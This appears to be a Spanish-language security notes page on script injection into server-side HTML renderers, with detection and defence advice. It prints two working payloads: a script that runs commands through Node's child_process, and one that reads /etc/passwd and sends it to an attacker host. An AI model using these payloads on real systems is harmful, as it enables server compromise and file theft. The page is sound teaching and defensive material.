the_open_door
café
ESEN
← Volver al índice

HTML / Script Injection

Una inyección de <script> en un renderer HTML del lado del servidor (jsdom, happy-dom, PhantomJS, wkhtmltopdf, headless Chrome) permite ejecutar código en el runtime del renderer. La diferencia con un XSS clásico es el contexto: no se ataca al navegador de un tercero, se ataca al proceso servidor que carga el HTML, así que el impacto va del robo de ficheros locales a la ejecución de comandos.

Vía A: RCE cuando el renderer es Node

Cuando el renderer es Node (por ejemplo happy-dom, o jsdom con runScripts:"dangerously"), los <script> tienen acceso a require:

<script>
  const cp = require('child_process');
  cp.execSync('id > /tmp/pwn');
</script>

Si el binario que carga el HTML corre como root (por ejemplo sudo /usr/bin/web-scraper archivo.html), el execSync se lanza con privilegios. No es un escape ni un bug del renderer: es la funcionalidad tal cual está declarada.

Vía B: lectura de ficheros y SSRF (renderer sin Node)

Aunque el renderer no exponga require (un motor de PDF como wkhtmltopdf/PhantomJS, o Chrome headless), el JavaScript sigue pudiendo leer ficheros locales vía file:// y exfiltrarlos, o alcanzar servicios internos (SSRF):

<script>
  x = new XMLHttpRequest();
  x.onload = () => fetch('http://<lhost>/?d=' + btoa(x.responseText));
  x.open('GET', 'file:///etc/passwd'); x.send();
</script>
<!-- o simplemente: <iframe src="file:///etc/passwd"> para incrustarlo en el PDF -->

Requisitos

Un punto donde nuestro HTML (o Markdown/nombre/campo que acabe en HTML) sea cargado por un proceso servidor que evalúe scripts. El alcance depende del motor: require da RCE; los motores de PDF suelen dar lectura de ficheros y SSRF. Si el proceso corre con privilegios, la vía A escala directamente.

Matices. No confundir con XSS: aquí no hay víctima navegante, la víctima es el servidor. Tampoco es lo mismo que un template injection servidor a servidor. El vector es específicamente un HTML controlado que un proceso privilegiado carga como si fuera de confianza (generación de PDF/imagen a partir de datos del usuario, scrapers, headless de captura).

Cómo detectarlo. La firma es de linaje de procesos: el binario del renderer (node, wkhtmltopdf, chrome --headless, phantomjs) lanzando sh/id/curl como hijo (Sysmon for Linux / auditd sobre execve), algo que la generación normal de un PDF no hace. En red, peticiones salientes del servidor de PDF a una IP del atacante (exfiltración) o a servicios internos (SSRF) justo tras procesar una entrada de usuario. El propio HTML de entrada con <script> que llama a require/XMLHttpRequest/file:// es el indicador si se inspecciona.

Defensa. Nunca cargar HTML del usuario en un renderer con acceso a APIs del sistema. Si el uso es legítimo, deshabilitar la ejecución de scripts (runScripts sin dangerously en jsdom, disableJavaScriptEvaluation en happy-dom, --disable-javascript en el motor de PDF), bloquear el esquema file://, y correr el renderer bajo un usuario sin permisos y con seccomp/AppArmor.

Máquinas donde se aplica